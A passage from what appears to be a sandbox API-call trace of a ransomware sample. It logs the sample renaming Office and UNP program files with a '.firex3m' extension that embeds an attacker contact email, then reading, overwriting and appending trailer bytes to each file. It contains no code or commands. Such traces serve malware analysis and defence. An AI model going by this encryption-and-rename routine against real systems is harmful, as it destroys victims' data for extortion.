files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.190] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.190] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4e40 [0235.191] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0235.191] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.191] GetProcessHeap () returned 0x630000 [0235.191] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d6db8 [0235.191] GetProcessHeap () returned 0x630000 [0235.191] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7040 [0235.191] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.191] ReadFile (in: hFile=0x4bc, lpBuffer=0x6d6db8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6db8*, lpNumberOfBytesRead=0x333ff0c*=0x240, lpOverlapped=0x0) returned 1 [0235.223] GetProcessHeap () returned 0x630000 [0235.223] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0235.223] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.223] WriteFile (in: hFile=0x4bc, lpBuffer=0x6d7040*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7040*, lpNumberOfBytesWritten=0x333ff0c*=0x240, lpOverlapped=0x0) returned 1 [0235.223] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.223] WriteFile (in: hFile=0x4bc, lpBuffer=0x6d727f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d727f*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.223] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.223] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.223] CloseHandle (hObject=0x4bc) returned 1 [0235.223] GetProcessHeap () returned 0x630000 [0235.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7040 | out: hHeap=0x630000) returned 1 [0235.223] GetProcessHeap () returned 0x630000 [0235.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d6db8 | out: hHeap=0x630000) returned 1 [0235.223] GetProcessHeap () returned 0x630000 [0235.224] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0235.224] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.224] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52271222, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x333fd20, dwReserved1=0x6d6db8, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5240 [0235.224] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0235.224] Sleep (dwMilliseconds=0x1) [0235.319] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x333ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastbeginupgradeth2.xml") returned 1 [0235.319] GetProcessHeap () returned 0x630000 [0235.319] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5068) returned 0x6fe3bb0 [0235.320] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0235.320] CloseHandle (hObject=0x6ec) returned 1 [0235.320] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.320] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.321] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.321] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebee9e0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebee9e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5400 [0235.321] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0235.322] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0235.322] GetProcessHeap () returned 0x630000 [0235.322] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dc2a8 [0235.322] GetProcessHeap () returned 0x630000 [0235.322] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dbb48 [0235.322] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.322] ReadFile (in: hFile=0x6ec, lpBuffer=0x6dc2a8, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc2a8*, lpNumberOfBytesRead=0x333ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.324] GetProcessHeap () returned 0x630000 [0235.324] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0235.324] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.324] WriteFile (in: hFile=0x6ec, lpBuffer=0x6dbb48*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbb48*, lpNumberOfBytesWritten=0x333ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.324] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.324] WriteFile (in: hFile=0x6ec, lpBuffer=0x6dbce7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbce7*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.325] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.325] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.325] CloseHandle (hObject=0x6ec) returned 1 [0235.325] GetProcessHeap () returned 0x630000 [0235.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbb48 | out: hHeap=0x630000) returned 1 [0235.325] GetProcessHeap () returned 0x630000 [0235.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc2a8 | out: hHeap=0x630000) returned 1 [0235.325] GetProcessHeap () returned 0x630000 [0235.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0235.325] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.325] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebee9e0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebee9e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52355f62, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x333fd20, dwReserved1=0x6dc2a8, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d53c0 [0235.325] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0235.325] Sleep (dwMilliseconds=0x1) [0237.420] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\AccessMessageDismissal.txt", len=0x73 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\AccessMessageDismissal.txt") returned 1 [0237.420] GetProcessHeap () returned 0x630000 [0237.420] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ee8) returned 0x6fe3bb0 [0237.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\AccessMessageDismissal.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\accessmessagedismissal.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0237.421] CloseHandle (hObject=0x6d4) returned 1 [0237.422] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0237.422] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\AccessMessageDismissal.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\accessmessagedismissal.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\AccessMessageDismissal.txt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\accessmessagedismissal.txt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0237.423] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0237.423] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\AccessMessageDismissal.txt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x380034, dwReserved1=0x310033, cFileName="AccessMessageDismissal.txt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ACCESS~1.FIR")) returned 0x6d51c0 [0237.423] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0237.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\AccessMessageDismissal.txt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\accessmessagedismissal.txt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0237.423] GetProcessHeap () returned 0x630000 [0237.423] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa41) returned 0x681d78 [0237.423] GetProcessHeap () returned 0x630000 [0237.423] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa41) returned 0x6e5368 [0237.423] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.423] ReadFile (in: hFile=0x6d4, lpBuffer=0x681d78, nNumberOfBytesToRead=0xa20, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x681d78*, lpNumberOfBytesRead=0x333ff0c*=0xa20, lpOverlapped=0x0) returned 1 [0237.434] GetProcessHeap () returned 0x630000 [0237.434] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0237.434] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.434] WriteFile (in: hFile=0x6d4, lpBuffer=0x6e5368*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesWritten=0x333ff0c*=0xa20, lpOverlapped=0x0) returned 1 [0237.434] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.434] WriteFile (in: hFile=0x6d4, lpBuffer=0x6e5d87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5d87*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0237.435] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.435] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0237.435] CloseHandle (hObject=0x6d4) returned 1 [0237.435] GetProcessHeap () returned 0x630000 [0237.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0237.435] GetProcessHeap () returned 0x630000 [0237.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681d78 | out: hHeap=0x630000) returned 1 [0237.435] GetProcessHeap () returned 0x630000 [0237.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0237.435] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0237.435] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\AccessMessageDismissal.txt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x53773e7b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0xc1c7496, dwReserved1=0x681d70, cFileName="AccessMessageDismissal.txt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ACCESS~1.FIR")) returned 0x6d5040 [0237.435] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0237.436] Sleep (dwMilliseconds=0x1) [0237.502] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\AccessCompare.rdlc", len=0x6b | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\AccessCompare.rdlc") returned 1 [0237.502] GetProcessHeap () returned 0x630000 [0237.502] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ee4) returned 0x6fe3bb0 [0237.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\AccessCompare.rdlc" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\accesscompare.rdlc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0237.502] CloseHandle (hObject=0x6d4) returned 1 [0237.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0237.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\AccessCompare.rdlc" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\accesscompare.rdlc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\AccessCompare.rdlc.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\accesscompare.rdlc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0237.503] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0237.504] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\AccessCompare.rdlc.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21276, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="AccessCompare.rdlc.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ACCESS~2.FIR")) returned 0x6d54c0 [0237.504] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0237.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\AccessCompare.rdlc.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\accesscompare.rdlc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0237.504] GetProcessHeap () returned 0x630000 [0237.504] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71d5490 [0237.505] GetProcessHeap () returned 0x630000 [0237.505] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7247db0 [0237.505] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.505] ReadFile (in: hFile=0x6d4, lpBuffer=0x71d5490, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesRead=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0244.147] GetProcessHeap () returned 0x630000 [0244.147] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745b5e0 [0244.147] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.147] WriteFile (in: hFile=0x6d4, lpBuffer=0x7247db0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesWritten=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0244.147] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.147] WriteFile (in: hFile=0x6d4, lpBuffer=0x72531af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72531af*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0244.148] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.149] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0244.149] CloseHandle (hObject=0x6d4) returned 1 [0244.149] GetProcessHeap 